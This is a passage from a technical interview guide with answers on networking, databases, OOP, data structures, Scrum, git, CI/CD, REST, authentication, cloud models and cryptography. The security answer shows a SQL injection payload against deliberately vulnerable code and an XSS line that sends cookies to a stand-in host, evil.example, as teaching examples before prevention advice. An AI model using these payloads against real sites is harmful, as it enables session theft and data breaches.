  • Acknowledgements — the receiver confirms what it has received; unacknowledged data is retransmitted after a timeout or after three duplicate ACKs (fast retransmit).
  • Checksums — corrupted segments are detected and dropped.
  • Flow control — the receiver advertises a window size so a fast sender cannot overwhelm a slow receiver.
  • Congestion control — algorithms such as slow start, congestion avoidance, CUBIC and BBR adjust the sending rate to avoid overloading the network.

Seeing it in practice: ss -tan lists TCP sockets and their states (LISTEN, ESTABLISHED, TIME_WAIT), and tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' captures handshake packets.

Note: A SYN flood attack abuses the handshake by sending many SYNs and never completing them, filling the server’s half-open connection queue. SYN cookies are the standard defence — a good extra point that links networking to security.

30. What are the ACID properties of a database transaction?

A transaction is a group of operations that must be treated as a single unit — the classic example is a bank transfer that debits one account and credits another. ACID describes the guarantees a relational database gives a transaction.

  • Atomicity — all or nothing. If the credit fails after the debit, the whole transaction is rolled back. Databases implement this with an undo log or rollback segments.
  • Consistency — a transaction moves the database from one valid state to another, respecting every constraint: primary keys, foreign keys, CHECK constraints and triggers. A transfer that would make a balance negative in violation of a rule is rejected.
  • Isolation — concurrent transactions do not see each other’s partial work. The result is as if they ran in some serial order, depending on the isolation level.
  • Durability — once a commit is acknowledged, the data survives a crash or power loss. This is achieved with a write-ahead log (WAL) or redo log flushed to disk before the commit returns.

Isolation levels and the anomalies they allow:

LevelDirty readNon-repeatable readPhantom read
Read UncommittedPossiblePossiblePossible
Read CommittedPreventedPossiblePossible
Repeatable ReadPreventedPreventedPossible*
SerializablePreventedPreventedPrevented

*MySQL InnoDB’s default Repeatable Read also prevents most phantoms using next-key locks. PostgreSQL and Oracle default to Read Committed.

START TRANSACTION;
UPDATE accounts SET balance = balance - 500 WHERE id = 1;
UPDATE accounts SET balance = balance + 500 WHERE id = 2;
COMMIT;   -- or ROLLBACK on error

Note: Contrast ACID with BASE (Basically Available, Soft state, Eventually consistent), the model many distributed NoSQL systems follow. It shows you understand that ACID is a design choice with costs, not a universal law.

31. What is database normalisation, and what are first, second and third normal form?

Normalisation is organising tables to reduce redundancy and prevent update, insert and delete anomalies — for example, having to change a customer’s city in 500 order rows, or losing a product’s details when its last order is deleted.

Start with an unnormalised table: Orders(order_id, customer_name, customer_city, products), where products holds “Pen, Notebook”.

  • 1NF (First Normal Form) — every column holds atomic values and there are no repeating groups. Split the product list so each row has one product: OrderItems(order_id, product_id, qty).
  • 2NF — in 1NF, and no partial dependency: every non-key column depends on the whole composite key. If OrderItems also held product_name, that depends only on product_id, not on (order_id, product_id), so it moves to a Products table.
  • 3NF — in 2NF, and no transitive dependency: non-key columns depend only on the key, not on other non-key columns. In Orders(order_id, customer_id, customer_city), city depends on customer_id, so it moves to Customers.
  • BCNF (Boyce-Codd) — a stricter 3NF: every determinant must be a candidate key.

A handy summary: every non-key attribute must depend on “the key, the whole key, and nothing but the key”.

Result: Customers, Orders, Products and OrderItems, linked by foreign keys.

Denormalisation: read-heavy systems, reporting warehouses and star schemas deliberately duplicate data to avoid expensive joins. That is a conscious trade-off — faster reads in exchange for more complex writes and a risk of inconsistency.

Note: Interviewers often hand you a flat table and ask you to normalise it. Talk through the functional dependencies out loud — which column determines which — rather than jumping straight to the final tables.

32. What is a database index, how does it speed up queries, and when can it hurt performance?

An index is a separate data structure that lets the database find rows without scanning the whole table — like the index at the back of a book.

How it works: most relational databases use a B+ tree. Keys are kept sorted in a balanced tree, so a lookup takes O(log n) steps instead of an O(n) full table scan. Leaf nodes are linked, which also makes range queries such as BETWEEN and ORDER BY efficient. Some engines also offer hash indexes, which are fast for exact matches but useless for ranges.

Types to know:

  • Clustered index — defines the physical order of the rows; only one per table. In MySQL InnoDB it is the primary key.
  • Non-clustered (secondary) index — a separate structure pointing back to the rows.
  • Composite index — on several columns, such as (city, age). It follows the leftmost-prefix rule: it helps queries filtering on city, or on city and age, but not on age alone.
  • Unique index — also enforces uniqueness.
  • Covering index — contains every column the query needs, so the table itself is never read.
CREATE INDEX idx_orders_customer ON orders (customer_id, created_at);
EXPLAIN SELECT * FROM orders WHERE customer_id = 42;

When indexes hurt or do not help:

  • Every INSERT, UPDATE and DELETE must also update each index, so too many indexes slow writes and use disk and memory.
  • Low-selectivity columns, such as a yes or no flag, rarely benefit.
  • Wrapping the column in a function, as in WHERE YEAR(created_at) = 2025, or a leading wildcard such as LIKE '%abc' usually prevents index use.
  • Implicit type conversion, such as comparing a text column to a number, can also bypass the index.

Note: Always mention EXPLAIN. Saying you would check the query plan before and after adding an index shows you tune from evidence rather than guessing.

33. What are the different types of SQL joins, and how does each one behave?

A join combines rows from two or more tables based on a related column, usually a foreign key. Take employees(id, name, dept_id) and departments(id, dept_name).

  • INNER JOIN — returns only rows that match in both tables. Employees without a department and departments without employees are excluded.
  • LEFT (OUTER) JOIN — all rows from the left table, plus matching rows from the right; where there is no match, the right-side columns are NULL. Useful for “all employees, with department if any”.
  • RIGHT (OUTER) JOIN — the mirror image: all rows from the right table. Rarely used, because you can swap the tables and use LEFT JOIN.
  • FULL OUTER JOIN — all rows from both sides, with NULLs where no match exists. MySQL has no FULL JOIN; emulate it with a LEFT JOIN UNION a RIGHT JOIN.
  • CROSS JOIN — the Cartesian product: every row paired with every row. Ten rows by ten rows gives 100.
  • SELF JOIN — a table joined to itself with aliases, such as finding each employee’s manager from a manager_id column in the same table.
SELECT e.name, d.dept_name
FROM employees e
LEFT JOIN departments d ON d.id = e.dept_id;

-- employees with NO department (anti-join)
SELECT e.name
FROM employees e
LEFT JOIN departments d ON d.id = e.dept_id
WHERE d.id IS NULL;

Common pitfalls:

  • Putting a condition on the right table in the WHERE clause of a LEFT JOIN silently turns it into an inner join. Put such filters in the ON clause instead.
  • Joining on a non-unique column multiplies rows and inflates SUM and COUNT results.
  • Joins on unindexed columns are slow on large tables — index your foreign keys.

Note: The anti-join pattern — LEFT JOIN plus WHERE the right key IS NULL — is a favourite interview task, as is “find the second highest salary”. Practise writing both by hand without an editor.

34. What is the difference between SQL and NoSQL databases, and when would you choose each?

SQL (relational) databases — MySQL, PostgreSQL, Oracle, SQL Server — store data in tables with a fixed schema, enforce relationships with keys and constraints, and are queried with SQL. NoSQL is a broad family of non-relational stores designed for flexible schemas and horizontal scale.

The four main NoSQL types:

  • Document — JSON-like documents, such as MongoDB and Couchbase. Good for product catalogues and user profiles with varying fields.
  • Key-value — Redis, DynamoDB. Extremely fast lookups by key: sessions, caches, carts.
  • Wide-column — Cassandra, HBase. Huge write volumes across many nodes: IoT data, event logs.
  • Graph — Neo4j. Relationship-heavy data: social networks, recommendations, fraud detection.
AspectSQLNoSQL
SchemaFixed, defined up frontFlexible or schema-less
ScalingMainly vertical; horizontal is harderDesigned to scale horizontally (sharding)
ConsistencyStrong, ACID transactionsOften eventual consistency (BASE), tunable
QueriesRich joins and ad hoc queriesOptimised for known access patterns

Choose SQL when data is structured and relational and correctness matters — payments, orders, inventory, HR records — or when you need complex reporting queries.

Choose NoSQL when the schema changes often, you need massive scale or very low latency for simple lookups, or the data is naturally a document, key-value or graph.

The CAP theorem explains the trade-off: during a network partition a distributed system must choose between consistency and availability.

Note: Real systems are often polyglot — PostgreSQL for orders, Redis for sessions and caching, Elasticsearch for search. Saying “it depends on the access pattern” and then giving a concrete example is the answer interviewers want.

35. What are the four pillars of object-oriented programming? Explain each with an example.

Object-oriented programming (OOP) organises code around objects that bundle data (fields) with behaviour (methods). Its four pillars are:

  • Encapsulation — hiding an object’s internal state and exposing it only through controlled methods. A BankAccount keeps balance private and offers deposit() and withdraw(), which can validate input and refuse to go negative. It protects invariants and lets you change internals without breaking callers.
  • Abstraction — exposing what an object does while hiding how. You call list.sort() or car.start() without knowing the algorithm or engine details. It is achieved with abstract classes and interfaces.
  • Inheritance — a class acquiring the fields and methods of a parent: SavingsAccount extends BankAccount and adds addInterest(). It models an “is-a” relationship and enables reuse.
  • Polymorphism — “many forms”: the same call behaves differently depending on the object. Compile-time polymorphism is method overloading (same name, different parameters). Run-time polymorphism is method overriding, where a subclass redefines a parent method and the correct version is chosen by the actual object type.
abstract class Shape { abstract double area(); }
class Circle extends Shape {
    double r; Circle(double r) { this.r = r; }
    double area() { return Math.PI * r * r; }
}
class Square extends Shape {
    double s; Square(double s) { this.s = s; }
    double area() { return s * s; }
}

Shape[] shapes = { new Circle(2), new Square(3) };
for (Shape sh : shapes) System.out.println(sh.area()); // runtime polymorphism

A point that impresses interviewers: prefer composition over inheritance. Deep inheritance trees become fragile; a Car that has an Engine is often more flexible than a class hierarchy.

Note: Do not just recite definitions. Tie each pillar to the problem it solves — encapsulation protects data, abstraction reduces complexity, inheritance enables reuse, and polymorphism lets you add new types without changing existing code.

36. What is the difference between an abstract class and an interface?

Both define a contract that other classes must fulfil, and neither can be instantiated directly. They differ in what they can contain and in the relationship they express. The answer below uses Java, where the question is most often asked.

AspectAbstract classInterface
MethodsAbstract and concrete methodsAbstract methods; since Java 8 also default and static methods
StateCan have instance fieldsOnly public static final constants
ConstructorsYesNo
InheritanceA class can extend only oneA class can implement many
Access modifiersAnyMethods are public by default
Relationship“Is-a” — shared identity and code“Can-do” — a capability

When to use an abstract class: closely related classes share state and some implementation. A Vehicle base class can hold registrationNumber and a concrete getAge() method, while leaving fuelEfficiency() abstract.

When to use an interface: unrelated classes share a capability, or you want loose coupling. Comparable, Runnable and Serializable can be implemented by anything. Coding to interfaces — List<String> names = new ArrayList<>(); — lets you swap implementations and mock dependencies in tests.

interface Payable { double calculatePay(); }
abstract class Employee implements Payable {
    protected String name;
    Employee(String name) { this.name = name; }
}
class Contractor extends Employee {
    double hours, rate;
    Contractor(String n, double h, double r) { super(n); hours = h; rate = r; }
    public double calculatePay() { return hours * rate; }
}

Other languages: C# is similar. Python uses abc.ABC for abstract base classes and relies on duck typing instead of interfaces. C++ uses pure virtual functions.

Note: Default methods blurred the line in modern Java, so interviewers now expect the design reason, not just the syntax rules: abstract classes share implementation within a family; interfaces define capabilities across families and support multiple inheritance of type.

37. What are the SOLID principles of object-oriented design?

SOLID is a set of five design principles, popularised by Robert C. Martin, for writing code that is easier to change, test and extend.

  • S — Single Responsibility Principle — a class should have only one reason to change. An Invoice class should not also format PDFs and send emails; split those into InvoicePdfRenderer and InvoiceMailer.
  • O — Open/Closed Principle — open for extension, closed for modification. To add a new payment method you add a new UpiPayment class implementing a PaymentMethod interface, rather than adding another branch to a growing if-else block.
  • L — Liskov Substitution Principle — a subclass must be usable wherever its parent is expected without breaking behaviour. The classic violation is Square extends Rectangle: setting a square’s width also changes its height, which surprises code written for rectangles.
  • I — Interface Segregation Principle — clients should not depend on methods they do not use. Prefer several small interfaces, such as Printable and Scannable, over one large Machine interface that forces a basic printer to implement fax().
  • D — Dependency Inversion Principle — high-level modules should depend on abstractions, not on concrete classes. An OrderService depends on a PaymentGateway interface, and the real Razorpay or Stripe implementation is injected. This is what makes unit testing with mocks possible.
class OrderService {
    private final PaymentGateway gateway;          // abstraction
    OrderService(PaymentGateway gateway) {        // injected
        this.gateway = gateway;
    }
}

Why it matters: SOLID reduces coupling, so a change in one area does not ripple across the codebase, and it makes code testable in isolation. Frameworks such as Spring are built around dependency injection for exactly this reason.

Note: Show judgement as well as knowledge. Applied dogmatically, SOLID can produce dozens of tiny classes for a simple script. Say you apply it where change is likely — and give one real example from your own code.

38. What is Big O notation, and what are the time complexities of common operations and algorithms?

Big O notation describes how an algorithm’s running time or memory use grows as the input size n grows, focusing on the worst case and ignoring constants and lower-order terms. O(2n + 10) simplifies to O(n).

Common complexities, from best to worst:

ComplexityNameExample
O(1)ConstantArray access by index; hash map lookup (average)
O(log n)LogarithmicBinary search; balanced BST lookup
O(n)LinearScanning a list; linear search
O(n log n)LinearithmicMerge sort, heap sort, average quicksort
O(n²)QuadraticNested loops; bubble, insertion and selection sort
O(2ⁿ)ExponentialNaive recursive Fibonacci; all subsets
O(n!)FactorialBrute-force travelling salesman; all permutations

To get a feel for scale, at n = 1,000,000 an O(n log n) algorithm does roughly 20 million steps, while an O(n²) one does a trillion — the difference between milliseconds and hours.

Related notation: Big Omega (Ω) is a lower bound and Big Theta (Θ) a tight bound. Amortised analysis averages over a sequence of operations — appending to a dynamic array is O(1) amortised even though an occasional resize is O(n).

How to analyse code quickly:

  • Sequential steps add; nested loops multiply.
  • A loop that halves the problem each time is O(log n).
  • Recursion: count calls multiplied by work per call, or use the Master theorem.
  • Always state space complexity too — recursion uses stack space, and memoisation trades memory for time.

Note: In coding interviews, state the complexity of your brute-force solution first, then optimise — often by using a hash map to turn an O(n²) nested loop into O(n). Interviewers reward that reasoning as much as the final code.

39. What is the difference between an array and a linked list, and when would you use each?

Both store ordered collections, but they are laid out in memory very differently, which drives their performance.

Array: elements are stored in contiguous memory, so the address of element i is simply the base address plus i times the element size. A dynamic array — Java ArrayList, Python list, C++ vector — grows by allocating a larger block, usually double the size, and copying.

Linked list: each node holds a value and a pointer to the next node (and to the previous one, in a doubly linked list). Nodes can live anywhere in memory.

OperationArrayLinked list
Access by indexO(1)O(n) — must walk from the head
Search (unsorted)O(n)O(n)
Insert or delete at endO(1) amortisedO(1) with a tail pointer
Insert or delete at front or middleO(n) — elements shiftO(1) once you hold the node
Memory overheadLowExtra pointer or pointers per node
Cache behaviourExcellent — contiguousPoor — scattered nodes

Use an array for most everyday work: frequent random access, iteration and appends. Thanks to CPU caching, arrays often beat linked lists in practice even for some insert-heavy workloads.

Use a linked list when you need frequent insertion and removal at known positions without shifting, or constant-time splicing — for example, an LRU cache (a hash map plus a doubly linked list), queues, and OS free-block lists.

Classic linked-list interview problems: reverse a list in place, detect a cycle with Floyd’s fast and slow pointers, find the middle node, and merge two sorted lists.

Note: Mention the trade-off in the “insert in the middle is O(1)” claim — you must first find the node, which is O(n). That nuance shows you understand the structures rather than having memorised a table.

40. What are stacks, queues and hash tables, and where is each one used in real software?

These three structures appear in almost every program and in most coding interviews.

Stack — LIFO (Last In, First Out)

  • Operations: push, pop and peek, all O(1).
  • Uses: the function call stack (which is why deep recursion causes a stack overflow), undo in editors, browser back button, expression evaluation, balanced-bracket checking, and depth-first search.

Queue — FIFO (First In, First Out)

  • Operations: enqueue at the rear and dequeue from the front, O(1).
  • Variants: a circular queue reuses a fixed buffer; a deque allows both ends; a priority queue (usually a heap) always removes the highest-priority item in O(log n).
  • Uses: print spoolers, CPU and task scheduling, breadth-first search, and message queues such as RabbitMQ and Kafka that decouple producers from consumers.

Hash table — key-value lookup

  • A hash function turns a key into an array index, giving O(1) average insert, lookup and delete.
  • Collisions — two keys hashing to the same slot — are handled by chaining (a list or tree per bucket) or open addressing (probing for the next free slot).
  • When the load factor gets too high (Java’s HashMap uses 0.75), the table resizes and rehashes. Worst case is O(n) if many keys collide.
  • Uses: caches, database indexes, symbol tables in compilers, counting frequencies, de-duplication, and sets.
# Python
stack = []; stack.append(1); stack.pop()
from collections import deque
q = deque(); q.append(1); q.popleft()
counts = {}
for w in words: counts[w] = counts.get(w, 0) + 1

Note: Many interview problems become easy once you spot the right structure — “valid parentheses” is a stack, “level-order traversal” is a queue, and “two sum” or “first non-repeating character” is a hash map. Train yourself to ask which structure fits before writing code.

41. What is the difference between a binary tree, a binary search tree and a heap?

All three are trees in which each node has at most two children, but they impose different ordering rules, which determines what they are good at.

Binary tree — just the shape: every node has up to two children, left and right, with no ordering rule. Used to represent hierarchical data and expression trees.

Binary search tree (BST) — adds an ordering rule: every value in a node’s left subtree is smaller, and every value in its right subtree is larger.

  • Search, insert and delete take O(h), where h is the height — O(log n) when the tree is balanced.
  • If you insert already-sorted data, the tree degenerates into a linked list and operations become O(n). Self-balancing trees — AVL and red-black — fix this; Java’s TreeMap and C++’s std::map are red-black trees.
  • An in-order traversal (left, root, right) visits the values in sorted order.

Heap — a complete binary tree with the heap property: in a min-heap every parent is smaller than or equal to its children, so the minimum is always at the root. A max-heap is the reverse.

  • Get the min or max in O(1); insert or remove it in O(log n).
  • It is not fully sorted — searching for an arbitrary value is O(n).
  • Stored compactly in an array: the children of index i are at 2i+1 and 2i+2.
  • Uses: priority queues, heap sort, Dijkstra’s shortest path, “top K” problems and scheduling.
NeedBest choice
Sorted order and range queriesBalanced BST
Repeatedly take the smallest or largestHeap
Fast exact lookup onlyHash table

Traversals to know: depth-first (pre-order, in-order, post-order) using recursion or a stack, and breadth-first (level-order) using a queue.

Note: “Validate a BST” is a common trap: checking only that each node is greater than its left child and less than its right child is not enough. You must pass down the allowed minimum and maximum range for each subtree.

42. What are the phases of the SDLC, and how does the Waterfall model differ from Agile?

The Software Development Life Cycle (SDLC) is the structured process for building software from idea to retirement. Its typical phases are:

  1. Requirement gathering and analysis — understand what users and the business need; produce a requirements document or user stories.
  2. Feasibility and planning — scope, cost, timeline, resources and risks.
  3. Design — high-level architecture (components, database, integrations) and low-level design (classes, APIs, schemas).
  4. Implementation (coding) — building the software to the design and coding standards.
  5. Testing — unit, integration, system and user acceptance testing (UAT) to find defects and confirm requirements are met.
  6. Deployment — releasing to production, often in stages.
  7. Maintenance — bug fixes, enhancements, performance work and eventually retirement.
AspectWaterfallAgile
FlowSequential — each phase completes before the nextIterative — all phases repeat in short cycles
RequirementsFixed up frontExpected to evolve
DeliveryOne release at the endWorking software every 1–4 weeks
Customer involvementMainly at the start and endContinuous feedback
TestingA separate late phaseContinuous, within every iteration
Cost of changeHigh late in the projectLower, absorbed each sprint

When Waterfall still fits: requirements are stable and well understood, or heavy regulation demands full documentation and sign-off up front — some government, defence and embedded projects.

When Agile fits: most product and web development, where requirements change and early user feedback is valuable. Popular Agile frameworks are Scrum and Kanban.

Other models worth naming are the V-model (each development phase paired with a testing phase), Spiral (risk-driven iterations) and DevOps, which extends Agile into automated deployment and operations.

Note: Many Indian service companies run hybrid models — a fixed-scope contract with Agile sprints inside it. Saying you understand why a client might demand fixed scope, and how teams work within that, shows real project awareness.

43. How does Scrum work? Explain its roles, events and artefacts.

Scrum is the most widely used Agile framework. Work happens in fixed-length iterations called sprints, usually two weeks, each producing a potentially shippable increment.

The three roles (accountabilities):

  • Product Owner — owns the product backlog and its priority, represents the customer and business, and decides what gets built.
  • Scrum Master — a servant-leader who coaches the team on Scrum, facilitates events and removes impediments. Not a project manager who assigns tasks.
  • Developers — the cross-functional team (developers, testers, designers) who decide how to build the work and commit to the sprint goal. Typically 10 people or fewer.

The five events:

  1. Sprint — the container for all other events.
  2. Sprint Planning — choose backlog items and define a sprint goal.
  3. Daily Scrum (stand-up) — a 15-minute sync on progress toward the goal and any blockers. It is not a status report to a manager.
  4. Sprint Review — demonstrate the increment to stakeholders and gather feedback.
  5. Sprint Retrospective — the team inspects its own process and agrees improvements.

The three artefacts:

  • Product Backlog — an ordered list of everything that might be built, usually as user stories: “As a job seeker, I want to save a search so that I get alerts.”
  • Sprint Backlog — the items selected for this sprint plus the plan to deliver them.
  • Increment — the working product that meets the Definition of Done (for example: code reviewed, tested, merged and deployable).

Common practices around Scrum: story points and planning poker for estimation, velocity to forecast capacity, burndown charts, and backlog refinement sessions to keep upcoming stories clear.

Note: Know how Kanban differs: no fixed sprints, a continuous flow of work visualised on a board, and work-in-progress (WIP) limits. Support and operations teams often prefer Kanban because their work arrives unpredictably.

44. What is the difference between git merge and git rebase, and how do you resolve a merge conflict?

Both integrate changes from one branch into another, but they produce different histories.

git merge creates a new merge commit with two parents, tying the branches together. History stays exactly as it happened — non-destructive and safe — but frequent merges can make the log noisy. If the target has no new commits, Git simply does a fast-forward.

git rebase takes your branch’s commits and replays them on top of the target branch, creating new commits with new hashes. The result is a clean, linear history, but it rewrites history.

git checkout feature
git merge main          # merge main into feature (merge commit)

git checkout feature
git rebase main         # replay feature commits on top of main
git rebase -i HEAD~3    # interactively squash or reword the last 3 commits

The golden rule: never rebase commits that others have already pulled — typically anything on a shared branch such as main. Rebase your own local feature branch to tidy it; use merge to integrate shared work. After rebasing a branch you had already pushed, you need git push --force-with-lease, which is safer than a plain force push.

Resolving a merge conflict:

  1. Git stops and lists the conflicted files; git status shows them as “both modified”.
  2. Open each file. Git marks the conflict with <<<<<<< HEAD (your version), =======, and >>>>>>> branch (theirs).
  3. Edit to the correct combined result — often keeping parts of both — and remove the markers.
  4. Build and run the tests, since a clean-looking merge can still be logically wrong.
  5. git add <file>, then git commit for a merge or git rebase --continue for a rebase. To give up, use git merge --abort or git rebase --abort.

Note: Prevention beats cure: pull or rebase from main frequently, keep branches short-lived and pull requests small, and talk to the teammate editing the same file. Also know git revert (a new commit that undoes a change, safe on shared branches) versus git reset (moves the branch pointer and rewrites local history).

45. What is CI/CD, and what stages does a typical pipeline include?

CI/CD automates the path from a code change to running software, so teams can release small changes frequently and safely.

  • Continuous Integration (CI) — developers merge to the main branch often, at least daily, and every push automatically triggers a build and tests. Integration problems surface within minutes instead of at the end of a project.
  • Continuous Delivery — every change that passes the pipeline is ready to release; a person approves the production deployment.
  • Continuous Deployment — goes one step further: every passing change goes to production automatically, with no manual gate.

Typical pipeline stages:

  1. Source — triggered by a push or pull request in GitHub, GitLab or Bitbucket.
  2. Build — compile and package: a JAR, a Docker image, a front-end bundle.
  3. Test — unit tests first (fast), then integration tests, with code-coverage reporting.
  4. Static analysis and security — linting, SonarQube quality gates, dependency vulnerability scans (SCA) and secret scanning.
  5. Publish artefact — push the versioned build to a registry such as Docker Hub, ECR, Nexus or Artifactory.
  6. Deploy to staging — run smoke tests and end-to-end tests.
  7. Deploy to production — often using blue-green (switch traffic between two environments) or canary (release to a small percentage first) strategies, with automatic rollback if health checks fail.
# .github/workflows/ci.yml (GitHub Actions, simplified)
on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm test
      - run: npm run build

Common tools: Jenkins, GitHub Actions, GitLab CI, Azure DevOps and CircleCI, with Argo CD for Kubernetes deployments.

Note: Stress the principles behind the tools: fail fast by running cheap tests first, build the artefact once and promote the same one through every environment, keep secrets in a vault rather than in the repository, and make every deployment reversible.

46. What is a REST API, and what principles make an API RESTful?

An API (Application Programming Interface) is a contract that lets one piece of software talk to another. A REST API follows the Representational State Transfer architectural style, usually over HTTP with JSON payloads.

Core REST principles:

  • Resources identified by URLs — nouns, not verbs: /users/42/orders, not /getOrdersForUser.
  • Standard HTTP methods express the action — GET reads, POST creates, PUT replaces, PATCH updates partially and DELETE removes.
  • Statelessness — each request carries everything the server needs, such as an auth token. The server keeps no client session between requests, which makes horizontal scaling easy.
  • Client-server separation — front end and back end evolve independently.
  • Cacheability — responses say whether they can be cached, using headers such as Cache-Control and ETag.
  • Uniform interface and a layered system — clients do not need to know whether they are talking to a load balancer, cache or the origin server.

Example requests:

GET    /api/v1/jobs?city=Pune&page=2   200 OK
POST   /api/v1/jobs                    201 Created
PATCH  /api/v1/jobs/101                200 OK
DELETE /api/v1/jobs/101                204 No Content

Good API design practices:

  • Meaningful status codes and a consistent JSON error format.
  • Versioning, such as /v1/, so changes do not break existing clients.
  • Pagination, filtering and sorting for large collections.
  • Authentication with OAuth 2.0 or JWT bearer tokens, HTTPS only, and rate limiting.
  • Documentation with OpenAPI (Swagger); testing with Postman or curl.

Alternatives: SOAP (XML, strict contracts, still common in banking and enterprise systems), GraphQL (the client asks for exactly the fields it needs through a single endpoint) and gRPC (binary Protocol Buffers over HTTP/2, fast for service-to-service calls).

Note: Many so-called REST APIs are really “HTTP plus JSON”. Knowing the difference — especially statelessness and resource-oriented URLs — and being able to design endpoints for a simple use case on a whiteboard is what interviewers usually test.

47. How do cookies, server-side sessions and JWT tokens differ for keeping a user logged in?

HTTP is stateless, so after a user logs in the application needs a way to recognise them on every following request. Three related mechanisms are involved.

Cookies are the transport, not the mechanism itself: small pieces of data the server sets with a Set-Cookie header, which the browser automatically sends back on later requests to that domain. Important security attributes:

  • HttpOnly — JavaScript cannot read the cookie, which limits damage from XSS.
  • Secure — sent only over HTTPS.
  • SameSite=Lax or Strict — restricts cross-site sending, which defends against CSRF.

Server-side sessions: on login the server creates a session record — in memory, a database or Redis — and gives the browser only a random session ID in a cookie. Each request looks up the session.

  • Pros: easy to revoke (delete the record), and little data is exposed to the client.
  • Cons: the server stores state, so multiple servers need a shared session store or sticky sessions.

JWT (JSON Web Token): a self-contained token of three Base64URL parts — header.payload.signature. The payload holds claims such as user ID, roles and expiry, and the server verifies the signature without any database lookup.

  • Pros: stateless and easy to scale; well suited to APIs, mobile apps and microservices.
  • Cons: hard to revoke before expiry, so use short-lived access tokens (for example 15 minutes) with a refresh token. The payload is only encoded, not encrypted — never put secrets in it.
AspectSession IDJWT
StateOn the serverIn the token
RevocationImmediateHard until expiry
ScalingNeeds a shared storeStateless

Note: Storing a JWT in localStorage makes it readable by any injected script. For browser apps, an HttpOnly, Secure, SameSite cookie is generally safer — whether it carries a session ID or a token.

48. What are IaaS, PaaS and SaaS, and what does the customer manage in each cloud service model?

The three cloud service models differ in how much of the technology stack the provider manages and how much remains your responsibility. A popular analogy is pizza: make it at home, take-and-bake, or have it delivered.

LayerOn-premisesIaaSPaaSSaaS
Data and user accessYouYouYouYou
ApplicationYouYouYouProvider
Runtime and middlewareYouYouProviderProvider
Operating systemYouYouProviderProvider
Virtualisation, servers, storage, networkYouProviderProviderProvider
  • IaaS (Infrastructure as a Service) — rent virtual machines, storage and networks. You install and patch the OS and everything above it. Examples: AWS EC2, Azure Virtual Machines, Google Compute Engine. Best when you need full control or are lifting and shifting existing servers.
  • PaaS (Platform as a Service) — you deploy code; the provider runs the OS, runtime, scaling and patching. Examples: AWS Elastic Beanstalk, Azure App Service, Google App Engine, Heroku, and managed databases such as Amazon RDS. Best for developers who want to focus on the application.
  • SaaS (Software as a Service) — ready-to-use applications over the internet. Examples: Gmail, Microsoft 365, Salesforce, Zoho, Slack. You manage only your users, data and settings.

Related models: FaaS or serverless — AWS Lambda, Azure Functions — runs individual functions on demand and bills per execution; CaaS offers managed containers, such as EKS, AKS or Google Cloud Run.

Key cloud characteristics to mention: on-demand self-service, elasticity, pay-as-you-go pricing, and regions and availability zones for resilience.

Note: Whatever the model, your data and your access configuration remain your responsibility. Most real cloud breaches come from customer misconfiguration — a public storage bucket or an over-privileged key — not from the provider being hacked.

49. What are SQL injection and cross-site scripting (XSS), and how do you prevent them?

Both are injection flaws: untrusted input is treated as code. They have been at or near the top of the OWASP Top 10 for years.

SQL injection happens when user input is concatenated into a SQL query. With this vulnerable code:

query = "SELECT * FROM users WHERE email = '" + email + "'";

an attacker who enters ' OR '1'='1 turns the condition into one that is always true and may log in or dump the table. Worse payloads can read other tables or delete data.

Prevention:

  • Parameterised queries (prepared statements) — the primary defence. The query structure is sent separately from the data, so input can never change the SQL.
  • ORMs such as Hibernate or Django ORM, used without raw string queries.
  • Least-privilege database accounts, so the app user cannot drop tables.
  • Input validation (allow-lists) as defence in depth, never as the only control.
// Java — safe
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
ps.setString(1, email);

Cross-site scripting (XSS) happens when an application includes untrusted input in a web page without encoding it, so an attacker’s script runs in other users’ browsers — stealing session cookies, performing actions as the user or defacing the page. For example, a comment containing <script>fetch('https://evil.example/?c='+document.cookie)</script>.

  • Stored XSS — saved in the database and shown to every visitor.
  • Reflected XSS — bounced back from a URL parameter.
  • DOM-based XSS — created by client-side JavaScript, such as writing input to innerHTML.

Prevention: context-aware output encoding (HTML-escape < as &lt; and so on), frameworks that auto-escape such as React and Angular, avoiding innerHTML, a Content Security Policy header, and HttpOnly cookies so scripts cannot read session tokens.

Note: The memorable rule: SQL injection is fixed at the query by separating code from data; XSS is fixed at the output by encoding for the context. Validate input, but never rely on filtering alone to stop either.

50. What is the difference between symmetric encryption, asymmetric encryption and hashing?

All three are cryptographic tools, but they solve different problems. The key distinction: encryption is reversible with a key; hashing is one-way.

Symmetric encryption — the same key encrypts and decrypts.

  • Algorithms: AES (AES-128, AES-256), ChaCha20.
  • Very fast, so it is used for bulk data: disk encryption (BitLocker, LUKS), database encryption, and the data phase of HTTPS.
  • The problem is key distribution — how do two parties share the secret key safely over an insecure network?

Asymmetric (public-key) encryption — a mathematically linked key pair. Data encrypted with the public key can be decrypted only with the private key.

  • Algorithms: RSA, Elliptic Curve (ECC, ECDH, ECDSA).
  • Much slower, so it is used for small data: key exchange, digital signatures (sign with the private key, verify with the public key), SSH keys and TLS certificates.
  • It solves key distribution, since the public key can be shared openly.

Hashing — a one-way function that turns any input into a fixed-length digest. The same input always gives the same hash, and a tiny change gives a completely different one.

  • Algorithms: SHA-256, SHA-3. MD5 and SHA-1 are broken for security use.
  • Used for integrity checks (file checksums, Git commit IDs) and password storage.
  • Passwords need a slow, salted hash — bcrypt, scrypt or Argon2 — so a leaked database resists brute-force and rainbow-table attacks.

How they combine in HTTPS: asymmetric cryptography authenticates the server and establishes a shared secret, symmetric AES encrypts the actual traffic, and hash-based MACs protect integrity.

sha256sum ubuntu.iso
openssl enc -aes-256-cbc -pbkdf2 -in data.txt -out data.enc
ssh-keygen -t ed25519

Note: Encoding such as Base64 is not encryption — anyone can reverse it without a key. Confusing encoding, encryption and hashing is one of the most common mistakes freshers make in security questions.

Login to manage your account

Please enter a valid email address.
Forgot Password?
Please enter a valid password.
OR

Don't have an account yet? Sign up as